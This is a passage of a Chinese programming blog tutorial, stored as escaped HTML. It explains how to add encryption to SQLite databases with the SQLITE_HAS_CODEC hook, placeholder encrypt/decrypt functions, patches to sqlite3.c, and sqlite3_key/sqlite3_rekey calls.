class=\"comment\"\u003e关键加密函数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e***********/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eMy_Encrypt_Func\u003c/span\u003e\u003cspan class=\"params\"\u003e( \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e * pData, \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e data_len, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e * key, \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e len_of_key )\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/***********\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e关键解密函数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e***********/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eMy_DeEncrypt_Func\u003c/span\u003e\u003cspan class=\"params\"\u003e( \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e * pData, \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e data_len, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e * key, \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e intlen_of_key )\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e其中的 crypt.c 如此定义:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;./crypt.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;memory.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/***********\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e关键加密函数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e***********/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eMy_Encrypt_Func\u003c/span\u003e\u003cspan class=\"params\"\u003e( \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e * pData, \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e data_len, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e * key, \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e len_of_key )\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/***********\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e关键解密函数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e***********/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eMy_DeEncrypt_Func\u003c/span\u003e\u003cspan class=\"params\"\u003e( \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e * pData, \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e data_len, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e * key, \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e intlen_of_key )\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这个文件很容易看,就两函数,一个加密一个解密。传进来的参数分别是待处理的数据、数据长度、密钥、密钥长度。\u003c/p\u003e\u003cp\u003e处理时直接把结果作用于 pData 指针指向的内容。\u003c/p\u003e\u003cp\u003e你需要定义自己的加解密过程,就改动这两个函数,其它部分不用动。扩展起来很简单。\u003c/p\u003e\u003cp\u003e这里有个特点,data_len 一般总是 1024 字节。正因为如此,你可以在你的算法里使用一些特定长度的加密算法,比如AES要求被加密数据一定是128位(16字节)长。这个1024不是碰巧,而是 Sqlite 的页定义是1024字节,在sqlite3.c文件里有定义:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e# \u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_DEFAULT_PAGE_SIZE 1024\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e你可以改动这个值,不过还是建议没有必要不要去改它。\u003c/p\u003e\u003cp\u003e上面写了两个扩展函数,如何把扩展函数跟 Sqlite 挂接起来,这个过程说起来比较麻烦。我直接贴代码。\u003c/p\u003e\u003cp\u003e分3个步骤。\u003c/p\u003e\u003cp\u003e首先,在 sqlite3.c 文件顶部,添加下面内容:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eifdef\u003c/span\u003e SQLITE_HAS_CODEC\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;./crypt.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/***********\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e用于在 sqlite3 最后关闭时释放一些内存\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e***********/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3pager_free_codecarg\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e *pArg)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这个函数之所以要在 sqlite3.c 开头声明,是因为下面在 sqlite3.c 里面某些函数里要插入这个函数调用。所以要提前声明。\u003c/p\u003e\u003cp\u003e其次,在sqlite3.c文件里搜索“sqlite3PagerClose”函数,要找到它的实现代码(而不是声明代码)。\u003c/p\u003e\u003cp\u003e实现代码里一开始是:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eifdef\u003c/span\u003e SQLITE_ENABLE_MEMORY_MANAGEMENT\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  \u003cspan class=\"comment\"\u003e/* A malloc() cannot fail in sqlite3ThreadData() as one or more calls to\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e  ** malloc() must have already been made by this thread before it gets\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e  ** to this point. This means the ThreadData must have been allocated already\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e  ** so that ThreadData.nAlloc can be set.\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e  */\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  ThreadData *pTsd = sqlite3ThreadData();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  assert( pPager );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  assert( pTsd \u0026amp;\u0026amp; pTsd-\u0026gt;nAlloc );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e需要在这部分后面紧接着插入:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eifdef\u003c/span\u003e SQLITE_HAS_CODEC\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e  sqlite3pager_free_codecarg(pPager-\u0026gt;pCodecArg);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这里要注意,sqlite3PagerClose 函数大概也是 3.3.17版本左右才改名的,以前版本里是叫 “sqlite3pager_close”。因此你在老版本sqlite代码里搜索“sqlite3PagerClose”是搜不到的。\u003c/p\u003e\u003cp\u003e类似的还有“sqlite3pager_get”、“sqlite3pager_unref”、“sqlite3pager_write”、“sqlite3pager_pagecount”等都是老版本函数,它们在 pager.h 文件里定义。新版本对应函数是在 sqlite3.h 里定义(因为都合并到 sqlite3.c和sqlite3.h两文件了)。所以,如果你在使用老版本的sqlite,先看看 pager.h 文件,这些函数不是消失了,也不是新蹦出来的,而是老版本函数改名得到的。\u003c/p\u003e\u003cp\u003e最后,往sqlite3.c 文件下找。找到最后一行:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/************** End of main.c ************************************************/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e在这一行后面,接上本文最下面的代码段。\u003c/p\u003e\u003cp\u003e这些代码很长,我不再解释,直接接上去就得了。\u003c/p\u003e\u003cp\u003e唯一要提的是 DeriveKey 函数。这个函数是对密钥的扩展。比如,你要求密钥是128位,即是16字节,但是如果用户只输入 1个字节呢?2个字节呢?或输入50个字节呢?你得对密钥进行扩展,使之符合16字节的要求。\u003c/p\u003e\u003cp\u003eDeriveKey 函数就是做这个扩展的。有人把接收到的密钥求md5,这也是一个办法,因为md5运算结果固定16字节,不论你有多少字符,最后就是16字节。这是md5算法的特点。但是我不想用md5,因为还得为它添加包含一些 md5 的.c或.cpp文件。我不想这么做。我自己写了一个算法来扩展密钥,很简单的算法。当然,你也可以使用你的扩展方法,也而可以使用md5 算法。只要修改 DeriveKey 函数就可以了。\u003c/p\u003e\u003cp\u003e在 DeriveKey 函数里,只管申请空间构造所需要的密钥,不需要释放,因为在另一个函数里有释放过程,而那个函数会在数据库关闭时被调用。参考我的 DeriveKey 函数来申请内存。\u003c/p\u003e\u003cp\u003e这里我给出我已经修改好的 sqlite3.c 和 sqlite3.h 文件。\u003c/p\u003e\u003cp\u003e如果太懒,就直接使用这两个文件,编译肯定能通过,运行也正常。当然,你必须按我前面提的,新建 crypt.h 和crypt.c 文件,而且函数要按我前面定义的要求来做。\u003c/p\u003e\u003cp\u003e3 加密使用方法\u003c/p\u003e\u003cp\u003e现在,你代码已经有了加密功能。\u003c/p\u003e\u003cp\u003e你要把加密功能给用上,除了改 sqlite3.c 文件、给你工程添加 SQLITE_HAS_CODEC 宏,还得修改你的数据库调用函数。\u003c/p\u003e\u003cp\u003e前面提到过,要开始一个数据库操作,必须先 sqlite3_open 。\u003c/p\u003e\u003cp\u003e加解密过程就在 sqlite3_open 后面操作。\u003c/p\u003e\u003cp\u003e假设你已经 sqlite3_open 成功了,紧接着写下面的代码:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"type\"\u003eint\u003c/span\u003e i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//添加、使用密码       \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     i =  sqlite3_key( db, \u003cspan class=\"string\"\u003e\u0026#34;dcg\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e3\u003c/span\u003e );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"comment\"\u003e//修改密码\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     i =  sqlite3_rekey( db, \u003cspan class=\"string\"\u003e\u0026#34;dcg\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e );\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e用 sqlite3_key 函数来提交密码。\u003c/p\u003e\u003cp\u003e第1个参数是 sqlite3 * 类型变量,代表着用 sqlite3_open 打开的数据库(或新建数据库)。\u003c/p\u003e\u003cp\u003e第2个参数是密钥。\u003c/p\u003e\u003cp\u003e第3个参数是密钥长度。\u003c/p\u003e\u003cp\u003e用 sqlite3_rekey 来修改密码。参数含义同 sqlite3_key。\u003c/p\u003e\u003cp\u003e实际上,你可以在sqlite3_open函数之后,到 sqlite3_close 函数之前任意位置调用 sqlite3_key 来设置密码。\u003c/p\u003e\u003cp\u003e但是如果你没有设置密码,而数据库之前是有密码的,那么你做任何操作都会得到一个返回值:SQLITE_NOTADB,并且得到错误提示:“file is encrypted or is not a database”。\u003c/p\u003e\u003cp\u003e只有当你用 sqlite3_key 设置了正确的密码,数据库才会正常工作。\u003c/p\u003e\u003cp\u003e如果你要修改密码,前提是你必须先 sqlite3_open 打开数据库成功,然后 sqlite3_key 设置密钥成功,之后才能用sqlite3_rekey 来修改密码。\u003c/p\u003e\u003cp\u003e如果数据库有密码,但你没有用 sqlite3_key 设置密码,那么当你尝试用 sqlite3_rekey 来修改密码时会得到SQLITE_NOTADB 返回值。\u003c/p\u003e\u003cp\u003e如果你需要清空密码,可以使用:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd 